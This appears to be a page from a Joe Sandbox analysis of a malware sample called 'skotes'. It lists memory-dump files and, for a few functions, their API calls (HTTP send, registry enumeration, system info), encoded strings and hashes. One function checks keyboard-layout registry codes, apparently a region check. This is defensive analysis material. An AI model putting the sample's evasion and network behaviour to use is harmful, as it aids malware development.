Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$CH$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-580399465
Opcode ID: 58d13baceeac4fa53aa70c0d85a74fc6e6795c0b569f11514abaa15d56cd23be
Instruction ID: 2a795374722d13283c6e06ecb3593757d02f148079ac4a3944697e73a515f56b
Opcode Fuzzy Hash: 58d13baceeac4fa53aa70c0d85a74fc6e6795c0b569f11514abaa15d56cd23be
Instruction Fuzzy Hash: C8B1E6B16001189BDF24CF28CC84BDE7BB9EF46304F505199F509AB2D6DB71AAC4CB95

Function 00EA6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00EA617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00EA6271

Strings

00000419, xrefs: 00EA6098
Keyboard Layout\Preload, xrefs: 00EA6054
00000422, xrefs: 00EA60C9
00000423, xrefs: 00EA60FA
0000043f, xrefs: 00EA612B

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 175f9c854b3f45d7510d2fa3f9269432f2e250c3771c2b0af734889c7100b707
Instruction ID: e03bfedfa8ce3d32ee4f44274456b4a770c4ab28299e1c5d02de4e0830ff75a4
Opcode Fuzzy Hash: 175f9c854b3f45d7510d2fa3f9269432f2e250c3771c2b0af734889c7100b707
Instruction Fuzzy Hash: 26B1B0719002689BEB24DB54CC84BDEB7B9EF06340F5402D9E108FB291DB74ABA4CF94

Function 00EA7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00EA7ED3

Strings

JjssPV==, xrefs: 00EA81E2
JjsrQV==, xrefs: 00EA8092
JjssOl==, xrefs: 00EA813A
JjsrPl==, xrefs: 00EA828A

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: aa29b769ae0c7e3fa53685a7634a55426eaef7bae8318cf13b90b90a6ce90d89
Instruction ID: db1901b7b9e606e08ff068e0d79aaf2b7ec085a7f5cc9ed5f572f7d3b19d278e
Opcode Fuzzy Hash: aa29b769ae0c7e3fa53685a7634a55426eaef7bae8318cf13b90b90a6ce90d89
Instruction Fuzzy Hash: 4CE12871E002049BDB14FB28CD5B39E7BA1AB4A724F94528CE8557F3C2DB346E8497D2

Function 00EE1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EE1775: CreateFileW.KERNEL32(00000000,00000000,?,00EE1B65,?,?,00000000,?,00EE1B65,00000000,0000000C), ref: 00EE1792

__dosmaperr.LIBCMT ref: 00EE1BD7
GetFileType.KERNEL32(00000000), ref: 00EE1BE3
__dosmaperr.LIBCMT ref: 00EE1BF6
__dosmaperr.LIBCMT ref: 00EE1D9C

Strings

H, xrefs: 00EE1D21

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: fcb02bf4b6a60f2d2f227a2b291e17407dc3b87527258852e0277cc940004652
Instruction ID: 84e0902e9bd086a3bddb0e0ddc6d0fbfecef0599c5cb05afeeca9623126141b3
Opcode Fuzzy Hash: fcb02bf4b6a60f2d2f227a2b291e17407dc3b87527258852e0277cc940004652
Instruction Fuzzy Hash: FBA12332A0418C8FDF19AF68DC51BAE7BF1AB06324F24119AE811FB391E7359852C752

Function 00EE26F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00EF6758), ref: 00EE275C

Strings

Xg, xrefs: 00EE2705, 00EE270B
Eastern Summer Time, xrefs: 00EE27FA
Eastern Standard Time, xrefs: 00EE27CB

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
